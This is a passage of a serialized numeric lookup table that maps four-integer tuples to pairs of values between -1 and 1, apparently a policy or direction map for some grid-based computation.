(-1, 1), (8, 7, 3, -5): (0, 1), (8, 7, 3, -4): (0, 1), (8, 7, 3, -3): (0, 1), (8, 7, 3, -2): (0, 1), (8, 7, 3, -1): (0, 1), (8, 7, 3, 0): (0, 1), (8, 7, 3, 1): (0, 1), (8, 7, 3, 2): (0, 1), (8, 7, 3, 3): (0, 1), (8, 7, 3, 4): (0, 1), (8, 7, 3, 5): (0, 1), (8, 7, 4, -5): (0, 1), (8, 7, 4, -4): (0, 1), (8, 7, 4, -3): (0, 1), (8, 7, 4, -2): (0, 1), (8, 7, 4, -1): (0, 1), (8, 7, 4, 0): (0, 1), (8, 7, 4, 1): (0, 1), (8, 7, 4, 2): (0, 1), (8, 7, 4, 3): (0, 1), (8, 7, 4, 4): (0, 1), (8, 7, 4, 5): (0, 1), (8, 7, 5, -5): (0, 1), (8, 7, 5, -4): (0, 1), (8, 7, 5, -3): (0, 1), (8, 7, 5, -2): (0, 1), (8, 7, 5, -1): (0, 1), (8, 7, 5, 0): (0, 1), (8, 7, 5, 1): (0, 1), (8, 7, 5, 2): (0, 1), (8, 7, 5, 3): (0, 1), (8, 7, 5, 4): (0, 1), (8, 7, 5, 5): (0, 1), (8, 8, -5, -5): (0, 1), (8, 8, -5, -4): (0, 1), (8, 8, -5, -3): (0, 1), (8, 8, -5, -2): (0, 1), (8, 8, -5, -1): (0, 1), (8, 8, -5, 0): (0, 1), (8, 8, -5, 1): (0, 1), (8, 8, -5, 2): (0, 1), (8, 8, -5, 3): (0, 1), (8, 8, -5, 4): (0, 1), (8, 8, -5, 5): (0, 1), (8, 8, -4, -5): (0, 1), (8, 8, -4, -4): (0, 1), (8, 8, -4, -3): (0, 1), (8, 8, -4, -2): (0, 1), (8, 8, -4, -1): (0, 1), (8, 8, -4, 0): (0, 1), (8, 8, -4, 1): (0, 1), (8, 8, -4, 2): (0, 1), (8, 8, -4, 3): (0, 1), (8, 8, -4, 4): (0, 1), (8, 8, -4, 5): (0, 1), (8, 8, -3, -5): (0, 1), (8, 8, -3, -4): (0, 1), (8, 8, -3, -3): (0, 1), (8, 8, -3, -2): (0, 1), (8, 8, -3, -1): (0, 1), (8, 8, -3, 0): (0, 1), (8, 8, -3, 1): (0, 1), (8, 8, -3, 2): (0, 1), (8, 8, -3, 3): (1, 1), (8, 8, -3, 4): (1, 1), (8, 8, -3, 5): (1, 0), (8, 8, -2, -5): (-1, 1), (8, 8, -2, -4): (-1, 1), (8, 8, -2, -3): (-1, 1), (8, 8, -2, -2): (-1, 1), (8, 8, -2, -1): (-1, 1), (8, 8, -2, 0): (1, 1), (8, 8, -2, 1): (1, 1), (8, 8, -2, 2): (1, 1), (8, 8, -2, 3): (1, 1), (8, 8, -2, 4): (1, 1), (8, 8, -2, 5): (1, 0), (8, 8, -1, -5): (-1, 1), (8, 8, -1, -4): (-1, 1), (8, 8, -1, -3): (-1, 1), (8, 8, -1, -2): (-1, 1), (8, 8, -1, -1): (1, 1), (8, 8, -1, 0): (1, 1), (8, 8, -1, 1): (1, 1), (8, 8, -1, 2): (1, 1), (8, 8, -1, 3): (1, 1), (8, 8, -1, 4): (1, 1), (8, 8, -1, 5): (1, 0), (8, 8, 0, -5): (1, 0), (8, 8, 0, -4): (1, 1), (8, 8, 0, -3): (1, 1), (8, 8, 0, -2): (1, 1), (8, 8, 0, -1): (1, 1), (8, 8, 0, 0): (0, 1), (8, 8, 0, 1): (0, 1), (8, 8, 0, 2): (0, 1), (8, 8, 0, 3): (0, 1), (8, 8, 0, 4): (0, 1), (8, 8, 0, 5): (0, 1), (8, 8, 1, -5): (1, 1), (8, 8, 1, -4): (1, 1), (8, 8, 1, -3): (1, 1), (8, 8, 1, -2): (1, 1), (8, 8, 1, -1): (0, 1), (8, 8, 1, 0): (-1, 1), (8, 8, 1, 1): (-1, 1), (8, 8, 1, 2): (-1, 1), (8, 8, 1, 3): (-1, 1), (8, 8, 1, 4): (-1, 1), (8, 8, 1, 5): (-1, 1), (8, 8, 2, -5): (0, 1), (8, 8, 2, -4): (0, 1), (8, 8, 2, -3): (0, 1), (8, 8, 2, -2): (0, 1), (8, 8, 2, -1): (0, 1), (8, 8, 2, 0): (-1, 1), (8, 8, 2, 1): (-1, 1), (8, 8, 2, 2): (-1, 1), (8, 8, 2, 3): (-1, 1), (8, 8, 2, 4): (-1, 1), (8, 8, 2, 5): (-1, 1), (8, 8, 3, -5): (0, 1), (8, 8, 3, -4): (0, 1), (8, 8, 3, -3): (0, 1), (8, 8, 3, -2): (0, 1), (8, 8, 3, -1): (0, 1), (8, 8, 3, 0): (0, 1), (8, 8, 3, 1): (0, 1), (8, 8, 3, 2): (0, 1), (8, 8, 3, 3): (0, 1), (8, 8, 3, 4): (0, 1), (8, 8, 3, 5): (0, 1), (8, 8, 4, -5): (0, 1), (8, 8, 4, -4): (0, 1), (8, 8, 4, -3): (0, 1), (8, 8, 4, -2): (0, 1), (8, 8, 4, -1): (0, 1), (8, 8, 4, 0): (0, 1), (8, 8, 4, 1): (0, 1), (8, 8, 4, 2): (0, 1), (8, 8, 4, 3): (0, 1), (8, 8, 4, 4): (0, 1), (8, 8, 4, 5): (0, 1), (8, 8, 5, -5): (0, 1), (8, 8, 5, -4): (0, 1), (8, 8, 5, -3): (0, 1), (8, 8, 5, -2): (0, 1), (8, 8, 5, -1): (0, 1), (8, 8, 5, 0): (0, 1), (8, 8, 5, 1): (0, 1), (8, 8, 5, 2): (0, 1), (8, 8, 5, 3): (0, 1), (8, 8, 5, 4): (0, 1), (8, 8, 5, 5): (0, 1), (8, 9, -5, -5): (0, 1), (8, 9, -5, -4): (0, 1), (8, 9, -5, -3): (0, 1), (8, 9, -5, -2): (0, 1), (8, 9, -5, -1): (0, 1), (8, 9, -5, 0): (0, 1), (8, 9, -5, 1): (0, 1), (8, 9, -5, 2): (0, 1), (8, 9, -5, 3): (0, 1), (8, 9, -5, 4): (0, 1), (8, 9, -5, 5): (0, 1), (8, 9, -4, -5): (0, 1), (8, 9, -4, -4): (0, 1), (8, 9, -4, -3): (0, 1), (8, 9, -4, -2): (0, 1), (8, 9, -4, -1): (0, 1), (8, 9, -4, 0): (0, 1), (8, 9, -4, 1): (0, 1), (8, 9, -4, 2): (0, 1), (8, 9, -4, 3): (0, 1), (8, 9, -4, 4): (0, 1), (8, 9, -4, 5): (0, 1), (8, 9, -3, -5): (0, 1), (8, 9, -3, -4): (0, 1), (8, 9, -3, -3): (0, 1), (8, 9, -3, -2): (0, 1), (8, 9, -3, -1): (0, 1), (8, 9, -3, 0): (0, 1), (8, 9, -3, 1): (0, 1), (8, 9, -3, 2): (0, 1), (8, 9, -3, 3): (1, 1), (8, 9, -3, 4): (1, 1), (8, 9, -3, 5): (1, 0), (8, 9, -2, -5): (-1, 1), (8, 9, -2, -4): (-1, 1), (8, 9, -2, -3): (-1, 1), (8, 9, -2, -2): (-1, 1), (8, 9, -2, -1): (-1, 1), (8, 9, -2, 0): (1, 1), (8, 9, -2, 1): (1, 1), (8, 9, -2, 2): (1, 1), (8, 9, -2, 3): (1, 1), (8, 9, -2, 4): (1, 1), (8, 9, -2, 5): (1, 0), (8, 9, -1, -5): (-1, 0), (8, 9, -1, -4): (-1, 1), (8, 9, -1, -3): (-1, 1), (8, 9, -1, -2): (-1, 1), (8, 9, -1, -1): (1, 1), (8, 9, -1, 0): (1, 1), (8, 9, -1, 1): (1, 1), (8, 9, -1, 2): (1, 1), (8, 9, -1, 3): (1, 1), (8, 9, -1, 4): (1, 1), (8, 9, -1, 5): (1, 0), (8, 9, 0, -5): (1, 1), (8, 9, 0, -4): (1, 1), (8, 9, 0, -3): (1, 1), (8, 9, 0, -2): (1, 1), (8, 9, 0, -1): (1, 1), (8, 9, 0, 0): (1, 1), (8, 9, 0, 1): (0, 1), (8, 9, 0, 2): (0, 1), (8, 9, 0, 3): (0, 1), (8, 9, 0, 4): (0, 1), (8, 9, 0, 5): (0, 1), (8, 9, 1, -5): (1, 1), (8, 9, 1, -4): (1, 1), (8, 9, 1, -3): (1, 1), (8, 9, 1, -2): (1, 1), (8, 9, 1, -1): (0, 1), (8, 9, 1, 0): (0, 1), (8, 9, 1, 1): (-1, 1), (8, 9, 1, 2): (-1, 1), (8, 9, 1, 3): (-1, 1), (8, 9, 1, 4): (-1, 1), (8, 9, 1, 5): (-1, 1), (8, 9, 2, -5): (0, 1), (8, 9, 2, -4): (0, 1), (8, 9, 2, -3): (0, 1), (8, 9, 2, -2): (0, 1), (8, 9, 2, -1): (0, 1), (8, 9, 2, 0): (-1, 1), (8, 9, 2, 1): (-1, 1), (8, 9, 2, 2): (-1, 1), (8, 9, 2, 3): (-1, 1), (8, 9, 2, 4): (-1, 1), (8, 9, 2, 5): (-1, 1), (8, 9, 3, -5): (0, 1), (8, 9, 3, -4): (0, 1), (8, 9, 3, -3): (0, 1), (8, 9, 3, -2): (0, 1), (8, 9, 3, -1): (0, 1), (8, 9, 3, 0): (0, 1), (8, 9, 3, 1): (0, 1), (8, 9, 3, 2): (0, 1), (8, 9, 3, 3): (0, 1), (8, 9, 3, 4): (0, 1), (8, 9, 3, 5): (0, 1), (8, 9, 4, -5): (0, 1), (8, 9, 4, -4): (0, 1), (8, 9, 4, -3): (0, 1), (8, 9, 4, -2): (0, 1), (8, 9, 4, -1): (0, 1), (8, 9, 4, 0): (0, 1), (8, 9, 4, 1): (0, 1), (8, 9, 4, 2): (0, 1), (8, 9, 4, 3): (0, 1), (8, 9, 4, 4): (0, 1), (8, 9, 4, 5): (0, 1), (8, 9, 5, -5): (0, 1), (8, 9, 5, -4): (0, 1), (8, 9, 5, -3): (0, 1), (8, 9, 5, -2): (0, 1), (8, 9, 5, -1): (0, 1), (8, 9, 5, 0): (0, 1), (8, 9, 5, 1): (0, 1), (8, 9, 5, 2): (0, 1), (8, 9, 5, 3): (0, 1), (8, 9, 5, 4): (0, 1), (8, 9, 5, 5): (0, 1), (8, 10, -5, -5): (0, 1), (8, 10, -5, -4): (0, 1), (8, 10, -5, -3): (0, 1), (8, 10, -5, -2): (0, 1), (8, 10, -5, -1): (0, 1), (8, 10, -5, 0): (0, 1), (8, 10, -5, 1): (0, 1), (8, 10, -5, 2): (0, 1), (8, 10, -5, 3): (0, 1), (8, 10, -5, 4): (0, 1), (8, 10, -5, 5): (0, 1), (8, 10, -4, -5): (0, 1), (8, 10, -4, -4): (0, 1), (8, 10, -4, -3): (0, 1), (8, 10, -4, -2): (0, 1), (8, 10, -4, -1): (0, 1), (8, 10, -4, 0): (0, 1), (8, 10, -4, 1): (0, 1), (8, 10, -4, 2): (0, 1), (8, 10, -4, 3): (0, 1), (8, 10, -4, 4): (0, 1), (8, 10, -4, 5): (0, 1), (8, 10, -3, -5): (0, 1), (8, 10, -3, -4): (0, 1), (8, 10, -3, -3): (0, 1), (8, 10, -3, -2): (0, 1), (8, 10, -3, -1): (0, 1), (8, 10, -3, 0): (0, 1), (8, 10, -3, 1): (0, 1), (8, 10, -3, 2): (0, 1), (8, 10, -3, 3): (1, 1), (8, 10, -3, 4): (1, 1), (8, 10, -3, 5): (1, 0), (8, 10, -2, -5): (-1, 1), (8, 10, -2, -4): (-1, 1), (8, 10, -2, -3): (-1, 1), (8, 10, -2, -2): (-1, 1), (8, 10, -2, -1): (-1, 1), (8, 10, -2, 0): (1, 1), (8, 10, -2, 1): (1, 1), (8, 10, -2, 2): (1, 1), (8, 10, -2, 3): (1, 1), (8, 10, -2, 4): (1, 1), (8, 10, -2, 5): (1, 0), (8, 10, -1, -5): (-1, 1), (8, 10, -1, -4): (-1, 1), (8, 10, -1, -3): (-1, 1), (8, 10, -1, -2): (-1, 1), (8, 10, -1, -1): (1, 1), (8, 10, -1, 0): (1, 1), (8, 10, -1, 1): (1, 1), (8, 10, -1, 2): (1, 1), (8, 10, -1, 3): (1, 1), (8, 10, -1, 4): (1, 0), (8, 10, -1, 5): (1, -1), (8, 10, 0, -5): (1, 1), (8, 10, 0, -4): (1, 1), (8, 10, 0, -3): (1, 1), (8, 10, 0, -2): (1, 1), (8, 10, 0, -1): (1, 1), (8, 10, 0, 0): (1, 1), (8, 10, 0, 1): (0, 1), (8, 10, 0, 2): (0, 1), (8, 10, 0, 3): (0, 1), (8, 10, 0, 4): (0, 0), (8, 10, 0, 5): (0, -1), (8, 10, 1, -5): (1, 1), (8, 10, 1, -4): (1, 1), (8, 10, 1, -3): (1, 1), (8, 10, 1, -2): (1, 1), (8, 10, 1, -1): (0, 1), (8, 10, 1, 0): (0, 1), (8, 10, 1, 1): (-1, 1), (8, 10, 1, 2): (-1, 1), (8, 10, 1, 3): (-1, 1), (8, 10, 1, 4): (-1, 0), (8, 10, 1, 5): (-1, -1), (8, 10, 2, -5): (0, 1), (8, 10, 2, -4): (0, 1), (8, 10, 2, -3): (0, 1), (8, 10, 2, -2): (0, 1), (8, 10, 2, -1): (0, 1), (8, 10, 2, 0): (-1, 1), (8, 10, 2, 1): (-1, 1), (8, 10, 2, 2): (-1, 1), (8, 10, 2, 3): (-1, 1), (8, 10, 2, 4): (-1, 1), (8, 10, 2, 5): (-1, 1), (8, 10, 3, -5): (0, 1), (8, 10, 3, -4): (0, 1), (8, 10, 3, -3): (0, 1), (8, 10, 3, -2): (0, 1), (8, 10, 3, -1): (0, 1), (8, 10, 3, 0): (0, 1), (8, 10, 3, 1): (0, 1), (8, 10, 3, 2): (0, 1), (8, 10, 3, 3): (0, 1), (8, 10, 3, 4): (0, 1), (8, 10, 3, 5): (0, 1), (8, 10, 4, -5): (0, 1), (8, 10, 4, -4): (0, 1), (8, 10, 4, -3): (0, 1), (8, 10, 4, -2): (0, 1), (8, 10, 4, -1): (0, 1), (8, 10, 4, 0): (0, 1), (8, 10, 4, 1): (0, 1), (8, 10, 4, 2): (0, 1), (8, 10, 4, 3): (0, 1), (8, 10, 4, 4): (0, 1), (8, 10, 4, 5): (0, 1), (8, 10, 5, -5): (0, 1), (8, 10, 5, -4): (0, 1), (8, 10, 5, -3): (0, 1), (8, 10, 5, -2): (0, 1), (8, 10, 5, -1): (0, 1), (8, 10, 5, 0): (0, 1), (8, 10, 5, 1): (0, 1), (8, 10, 5, 2): (0, 1), (8, 10, 5, 3): (0, 1), (8, 10, 5, 4): (0, 1), (8, 10, 5, 5): (0, 1), (8, 11, -5, -5): (0, 1), (8, 11, -5, -4): (0, 1), (8, 11, -5, -3): (0, 1), (8, 11, -5, -2): (0, 1), (8, 11, -5, -1): (0, 1), (8, 11, -5, 0): (0, 1), (8, 11, -5, 1): (0, 1), (8, 11, -5, 2): (0, 1), (8, 11, -5, 3): (0, 1), (8, 11, -5, 4): (0, 1), (8, 11, -5, 5): (0, 1), (8, 11, -4, -5): (0, 1), (8, 11, -4, -4): (0, 1), (8, 11, -4, -3): (0, 1), (8, 11, -4, -2): (0, 1), (8, 11, -4, -1): (0, 1), (8, 11, -4, 0): (0, 1), (8, 11, -4, 1): (0, 1), (8, 11, -4, 2): (0, 1), (8, 11, -4, 3): (0, 1), (8, 11, -4, 4): (0, 1), (8, 11, -4, 5): (0, 1), (8, 11, -3, -5): (0, 1), (8, 11, -3, -4): (0, 1), (8, 11, -3, -3): (0, 1), (8, 11, -3, -2): (0, 1), (8, 11, -3, -1): (0, 1), (8, 11, -3, 0): (0, 1), (8, 11, -3, 1): (0, 1), (8, 11, -3, 2): (0, 1), (8, 11, -3, 3): (1, 1), (8, 11, -3, 4): (1, 1), (8, 11, -3, 5): (1, 0), (8, 11, -2, -5): (-1, 1), (8, 11, -2, -4): (-1, 1), (8, 11, -2, -3): (-1, 1), (8, 11, -2, -2): (-1, 1), (8, 11, -2, -1): (-1, 1), (8, 11, -2, 0): (1, 1), (8, 11, -2, 1): (1, 1), (8, 11, -2, 2): (1, 1), (8, 11, -2, 3): (1, 1), (8, 11, -2, 4): (1, 1), (8, 11, -2, 5): (1, 0), (8, 11, -1, -5): (-1, 1), (8, 11, -1, -4): (-1, 1), (8, 11, -1, -3): (-1, 1), (8, 11, -1, -2): (-1, 1), (8, 11, -1, -1): (1, 1), (8, 11, -1, 0): (1, 1), (8, 11, -1, 1): (1, 1), (8, 11, -1, 2): (1, 1), (8, 11, -1, 3): (1, 1), (8, 11, -1, 4): (1, 1), (8, 11, -1, 5): (1, 0), (8, 11, 0, -5): (1, 1), (8, 11, 0, -4): (1, 1), (8, 11, 0, -3): (1, 1), (8, 11, 0, -2): (1, 1), (8, 11, 0, -1): (1, 1), (8, 11, 0, 0): (1, 1), (8, 11, 0, 1): (0, 1), (8, 11, 0, 2): (0, 1), (8, 11, 0, 3): (0, 1), (8, 11, 0, 4): (0, 1), (8, 11, 0, 5): (0, 1), (8, 11, 1, -5): (1, 1), (8, 11, 1, -4): (1, 1), (8, 11, 1, -3): (1, 1), (8, 11, 1, -2): (1, 1), (8, 11, 1, -1): (0, 1), (8, 11, 1, 0): (0, 1), (8, 11, 1, 1): (-1, 1), (8, 11, 1, 2): (-1, 1), (8, 11, 1, 3): (-1, 1), (8, 11, 1, 4): (-1, 1), (8, 11, 1, 5): (-1, 1), (8, 11, 2, -5): (0, 1), (8, 11, 2, -4): (0, 1), (8, 11, 2, -3): (0, 1), (8, 11, 2, -2): (0, 1), (8, 11, 2, -1): (0, 1), (8, 11, 2, 0): (-1, 1), (8, 11, 2, 1): (-1, 1), (8, 11, 2, 2): (-1, 1), (8, 11, 2, 3): (-1, 1), (8, 11, 2, 4): (-1, 1), (8, 11, 2, 5): (-1, 1), (8, 11, 3, -5): (0, 1), (8, 11, 3, -4): (0, 1), (8, 11, 3, -3): (0, 1), (8, 11, 3, -2): (0, 1), (8, 11, 3, -1): (0, 1), (8, 11, 3, 0): (0, 1), (8, 11, 3, 1): (0, 1), (8, 11, 3, 2): (0, 1), (8, 11, 3, 3): (0, 1), (8, 11, 3, 4): (0, 1), (8, 11, 3, 5): (0, 1), (8, 11, 4, -5): (0, 1), (8, 11, 4, -4): (0, 1), (8, 11, 4, -3): (0, 1), (8, 11, 4, -2): (0, 1), (8, 11, 4, -1): (0, 1), (8, 11, 4, 0): (0, 1), (8, 11, 4, 1): (0, 1), (8, 11, 4, 2): (0, 1), (8, 11, 4, 3): (0, 1), (8, 11, 4, 4): (0, 1), (8, 11, 4, 5): (0, 1), (8, 11, 5, -5): (0, 1), (8, 11, 5, -4): (0, 1), (8, 11, 5, -3): (0, 1), (8, 11, 5, -2): (0, 1), (8, 11, 5, -1): (0, 1), (8, 11, 5, 0): (0, 1), (8, 11, 5, 1): (0, 1), (8, 11, 5, 2): (0, 1), (8, 11, 5, 3): (0, 1), (8, 11, 5, 4): (0, 1), (8, 11, 5, 5): (0, 1), (8, 12, -5, -5): (0, 1), (8, 12, -5, -4): (0, 1), (8, 12, -5, -3): (0, 1), (8, 12, -5, -2): (0, 1), (8, 12, -5, -1): (0, 1), (8, 12, -5, 0): (0, 1), (8, 12, -5, 1): (0, 1), (8, 12, -5, 2): (0, 1), (8, 12, -5, 3): (0, 1), (8, 12, -5, 4): (0, 1), (8, 12, -5, 5): (0, 1), (8, 12, -4, -5): (0, 1), (8, 12, -4, -4): (0, 1), (8, 12, -4, -3): (0, 1), (8, 12, -4, -2): (0, 1), (8, 12, -4, -1): (0, 1), (8, 12, -4, 0): (0, 1), (8, 12, -4, 1): (0, 1), (8, 12, -4, 2): (0, 1), (8, 12, -4, 3): (0, 1), (8, 12, -4, 4): (0, 1), (8, 12, -4, 5): (0, 1), (8, 12, -3, -5): (0, 1), (8, 12, -3, -4): (0, 1), (8, 12, -3, -3): (0, 1), (8, 12, -3, -2): (0, 1), (8, 12, -3, -1): (0, 1), (8, 12, -3, 0): (0, 1), (8, 12, -3, 1): (0, 1), (8, 12, -3, 2): (0, 1), (8, 12, -3, 3): (1, 1), (8, 12, -3, 4): (1, 1), (8, 12, -3, 5): (1, 0), (8, 12, -2, -5): (-1, 1), (8, 12, -2, -4): (-1, 1), (8, 12, -2, -3): (-1, 1), (8, 12, -2, -2): (-1, 1), (8, 12, -2, -1): (-1, 1), (8, 12, -2, 0): (1, 1), (8, 12, -2, 1): (1, 1), (8, 12, -2, 2): (1, 1), (8, 12, -2, 3): (1, 1), (8, 12, -2, 4): (1, 1), (8, 12, -2, 5): (1, 0), (8, 12, -1, -5): (-1, 1), (8, 12, -1, -4): (-1, 1), (8, 12, -1, -3): (-1, 1), (8, 12, -1, -2): (-1, 1), (8, 12, -1, -1): (1, 1), (8, 12, -1, 0): (1, 1), (8, 12, -1, 1): (1, 1), (8, 12, -1, 2): (1, 1), (8, 12, -1, 3): (1, 1), (8, 12, -1, 4): (1, 1), (8, 12, -1, 5): (1, 0), (8, 12, 0, -5): (1, 1), (8, 12, 0, -4): (1, 1), (8, 12, 0, -3): (1, 1), (8, 12, 0, -2): (1, 1), (8, 12, 0, -1): (1, 1), (8, 12, 0, 0): (0, 1), (8, 12, 0, 1): (0, 1), (8, 12, 0, 2): (0, 1), (8, 12, 0, 3): (0, 1), (8, 12, 0, 4): (0, 1), (8, 12, 0, 5): (0, 1), (8, 12, 1, -5): (1, 1), (8, 12, 1, -4): (1, 1), (8, 12, 1, -3): (1, 1), (8, 12, 1, -2): (1, 1), (8, 12, 1, -1): (0, 1), (8, 12, 1, 0): (-1, 1), (8, 12, 1, 1): (-1, 1), (8, 12, 1, 2): (-1, 1), (8, 12, 1, 3): (-1, 1), (8, 12, 1, 4): (-1, 1), (8, 12, 1, 5): (-1, 1), (8, 12, 2, -5): (0, 1), (8, 12, 2, -4): (0, 1), (8, 12, 2, -3): (0, 1), (8, 12, 2, -2): (0, 1), (8, 12, 2, -1): (0, 1), (8, 12, 2, 0): (-1, 1), (8, 12, 2, 1): (-1, 1), (8, 12, 2, 2): (-1, 1), (8, 12, 2, 3): (-1, 1), (8, 12, 2, 4): (-1, 1), (8, 12, 2, 5): (-1, 1), (8, 12, 3, -5): (0, 1), (8, 12, 3, -4): (0, 1), (8, 12, 3, -3): (0, 1), (8, 12, 3, -2): (0, 1), (8, 12, 3, -1): (0, 1), (8, 12, 3, 0): (0, 1), (8, 12, 3, 1): (0, 1), (8, 12, 3, 2): (0, 1), (8, 12, 3, 3): (0, 1), (8, 12, 3, 4): (0, 1), (8, 12, 3, 5): (0, 1), (8, 12, 4, -5): (0, 1), (8, 12, 4, -4): (0, 1), (8, 12, 4, -3): (0, 1), (8, 12, 4, -2): (0, 1), (8, 12, 4, -1): (0, 1), (8, 12, 4, 0): (0, 1), (8, 12, 4, 1): (0, 1), (8, 12, 4, 2): (0, 1), (8, 12, 4, 3): (0, 1), (8, 12, 4, 4): (0, 1), (8, 12, 4, 5): (0, 1), (8, 12, 5, -5): (0, 1), (8, 12, 5, -4): (0, 1), (8, 12, 5, -3): (0, 1), (8, 12, 5, -2): (0, 1), (8, 12, 5, -1): (0, 1), (8, 12, 5, 0): (0, 1), (8, 12, 5, 1): (0, 1), (8, 12, 5, 2): (0, 1), (8, 12, 5, 3): (0, 1), (8, 12, 5, 4): (0, 1), (8, 12, 5, 5): (0, 1), (8, 13, -5, -5): (0, 1), (8, 13, -5, -4): (0, 1), (8, 13, -5, -3): (0, 1), (8, 13, -5, -2): (0, 1), (8, 13, -5, -1): (0, 1), (8, 13, -5, 0): (0, 1), (8, 13, -5, 1): (0, 1), (8, 13, -5, 2): (0, 1), (8, 13, -5, 3): (0, 1), (8, 13, -5, 4): (0, 1), (8, 13, -5, 5): (0, 1), (8, 13, -4, -5): (0, 1), (8, 13, -4, -4): (0, 1), (8, 13, -4, -3): (0, 1), (8, 13, -4, -2): (0, 1), (8, 13, -4, -1): (0, 1), (8, 13, -4, 0): (0, 1), (8, 13, -4, 1): (0, 1), (8, 13, -4, 2): (0, 1), (8, 13, -4, 3): (0, 1), (8, 13, -4, 4): (0, 1), (8, 13, -4, 5): (0, 1), (8, 13, -3, -5): (0, 1), (8, 13, -3, -4): (0, 1), (8, 13, -3, -3): (0, 1), (8, 13, -3, -2): (0, 1), (8, 13, -3, -1): (0, 1), (8, 13, -3, 0): (0, 1), (8, 13, -3, 1): (0, 1), (8, 13, -3, 2): (0, 1), (8, 13, -3, 3): (1, 1), (8, 13, -3, 4): (1, 1), (8, 13, -3, 5): (1, 0), (8, 13, -2, -5): (-1, 1), (8, 13, -2, -4): (-1, 1), (8, 13, -2, -3): (-1, 1), (8, 13, -2, -2): (-1, 1), (8, 13, -2, -1): (-1, 1), (8, 13, -2, 0): (1, 1), (8, 13, -2, 1): (1, 1), (8, 13, -2, 2): (1, 1), (8, 13, -2, 3): (1, 1), (8, 13, -2, 4): (1, 1), (8, 13, -2, 5): (1, 0), (8, 13, -1, -5): (-1, 1), (8, 13, -1, -4): (-1, 1), (8, 13, -1, -3): (-1, 1), (8, 13, -1, -2): (-1, 1), (8, 13, -1, -1): (1, 1), (8, 13, -1, 0): (1, 1), (8, 13, -1, 1): (1, 1), (8, 13, -1, 2): (1, 1), (8, 13, -1, 3): (1, 1), (8, 13, -1, 4): (1, 1), (8, 13, -1, 5): (1, 0), (8, 13, 0, -5): (1, 1), (8, 13, 0, -4): (1, 1), (8, 13, 0, -3): (1, 1), (8, 13, 0, -2): (1, 1), (8, 13, 0, -1): (1, 1), (8, 13, 0, 0): (0, 1), (8, 13, 0, 1): (0, 1), (8, 13, 0, 2): (0, 1), (8, 13, 0, 3): (0, 1), (8, 13, 0, 4): (0, 1), (8, 13, 0, 5): (0, 1), (8, 13, 1, -5): (1, 1), (8, 13, 1, -4): (1, 1), (8, 13, 1, -3): (1, 1), (8, 13, 1, -2): (1, 1), (8, 13, 1, -1): (0, 1), (8, 13, 1, 0): (-1, 1), (8, 13, 1, 1): (-1, 1), (8, 13, 1, 2): (-1, 1), (8, 13, 1, 3): (-1, 1), (8, 13, 1, 4): (-1, 1), (8, 13, 1, 5): (-1, 1), (8, 13, 2, -5): (0, 1), (8, 13, 2, -4): (0, 1), (8, 13, 2, -3): (0, 1), (8, 13, 2, -2): (0, 1), (8, 13, 2, -1): (0, 1), (8, 13, 2, 0): (-1, 1), (8, 13, 2, 1): (-1, 1), (8, 13, 2, 2): (-1, 1), (8, 13, 2, 3): (-1, 1), (8, 13, 2, 4): (-1, 1), (8, 13, 2, 5): (-1, 1), (8, 13, 3, -5): (0, 1), (8, 13, 3, -4): (0, 1), (8, 13, 3, -3): (0, 1), (8, 13, 3, -2): (0, 1), (8, 13, 3, -1): (0, 1), (8, 13, 3, 0): (0, 1), (8, 13, 3, 1): (0, 1), (8, 13, 3, 2): (0, 1), (8, 13, 3, 3): (0, 1), (8, 13, 3, 4): (0, 1), (8, 13, 3, 5): (0, 1), (8, 13, 4, -5): (0, 1), (8, 13, 4, -4): (0, 1), (8, 13, 4, -3): (0, 1), (8, 13, 4, -2): (0, 1), (8, 13, 4, -1): (0, 1), (8, 13, 4, 0): (0, 1), (8, 13, 4, 1): (0, 1), (8, 13, 4, 2): (0, 1), (8, 13, 4, 3): (0, 1), (8, 13, 4, 4): (0, 1), (8, 13, 4, 5): (0, 1), (8, 13, 5, -5): (0, 1), (8, 13, 5, -4): (0, 1), (8, 13, 5, -3): (0, 1), (8, 13, 5, -2): (0, 1), (8, 13, 5, -1): (0, 1), (8, 13, 5, 0): (0, 1), (8, 13, 5, 1): (0, 1), (8, 13, 5, 2): (0, 1), (8, 13, 5, 3): (0, 1), (8, 13, 5, 4): (0, 1), (8, 13, 5, 5): (0, 1), (8, 14, -5, -5): (0, 1), (8, 14, -5, -4): (0, 1), (8, 14, -5, -3): (0, 1), (8, 14, -5, -2): (0, 1), (8, 14, -5, -1): (0, 1), (8, 14, -5, 0): (0, 1), (8, 14, -5, 1): (0, 1), (8, 14, -5, 2): (0, 1), (8, 14, -5, 3): (0, 1), (8, 14, -5, 4): (0, 0), (8, 14, -5, 5): (-1, -1), (8, 14, -4, -5): (0, 1), (8, 14, -4, -4): (0, 1), (8, 14, -4, -3): (0, 1), (8, 14, -4, -2): (0, 1), (8, 14, -4, -1): (0, 1), (8, 14, -4, 0): (0, 1), (8, 14, -4, 1): (0, 1), (8, 14, -4, 2): (0, 1), (8, 14, -4, 3): (0, 1), (8, 14, -4, 4): (0, 0), (8, 14, -4, 5): (-1, -1), (8, 14, -3, -5): (0, 1), (8, 14, -3, -4): (0, 1), (8, 14, -3, -3): (0, 1), (8, 14, -3, -2): (0, 1), (8, 14, -3, -1): (0, 1), (8, 14, -3, 0): (0, 1), (8, 14, -3, 1): (0, 1), (8, 14, -3, 2): (0, 1), (8, 14, -3, 3): (1, 1), (8, 14, -3, 4): (1, 1), (8, 14, -3, 5): (1, 0), (8, 14, -2, -5): (-1, 1), (8, 14, -2, -4): (-1, 1), (8, 14, -2, -3): (-1, 1), (8, 14, -2, -2): (-1, 1), (8, 14, -2, -1): (-1, 1), (8, 14, -2, 0): (1, 1), (8, 14, -2, 1): (1, 1), (8, 14, -2, 2): (1, 1), (8, 14, -2, 3): (1, 1), (8, 14, -2, 4): (1, 1), (8, 14, -2, 5): (1, 0), (8, 14, -1, -5): (-1, 1), (8, 14, -1, -4): (-1, 1), (8, 14, -1, -3): (-1, 1), (8, 14, -1, -2): (-1, 1), (8, 14, -1, -1): (1, 1), (8, 14, -1, 0): (1, 1), (8, 14, -1, 1): (1, 1), (8, 14, -1, 2): (1, 1), (8, 14, -1, 3): (1, 1), (8, 14, -1, 4): (1, 0), (8, 14, -1, 5): (1, -1), (8, 14, 0, -5): (1, 1), (8, 14, 0, -4): (1, 1), (8, 14, 0, -3): (1, 1), (8, 14, 0, -2): (1, 1), (8, 14, 0, -1): (1, 1), (8, 14, 0, 0): (0, 1), (8, 14, 0, 1): (0, 1), (8, 14, 0, 2): (0, 1), (8, 14, 0, 3): (0, 1), (8, 14, 0, 4): (0, 0), (8, 14, 0, 5): (0, -1), (8, 14, 